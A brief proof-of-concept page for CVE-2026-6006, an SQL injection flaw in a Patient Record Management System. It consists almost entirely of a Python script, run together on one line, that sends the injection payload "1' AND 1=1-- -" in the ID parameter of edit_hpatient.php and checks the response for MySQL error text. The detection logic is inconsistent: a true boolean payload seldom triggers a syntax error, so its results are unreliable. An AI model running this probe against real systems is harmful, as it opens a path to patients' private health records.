CVE-2026-6006 Patient Record Management System SQL注入漏洞

import requests def check_sqli(url): # Target endpoint based on vulnerability description target = f"{url}/edit_hpatient.php" # Malicious payload for the 'ID' parameter # Using a simple boolean-based or time-based payload payload = "1' AND 1=1-- -" params = { "ID": payload } try: response = requests.get(target, params=params, timeout=5) # Analyze response to confirm vulnerability (e.g., specific error or content change) if "mysql" in response.text.lower() or "syntax error" in response.text.lower(): print(f"[+] Potential SQL Injection found at {target}") print(f"[+] Response snippet: {response.text[:200]}") else: print(f"[-] Vulnerability not confirmed or patched.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target URL target_url = "http://localhost/patient_record_system" check_sqli(target_url)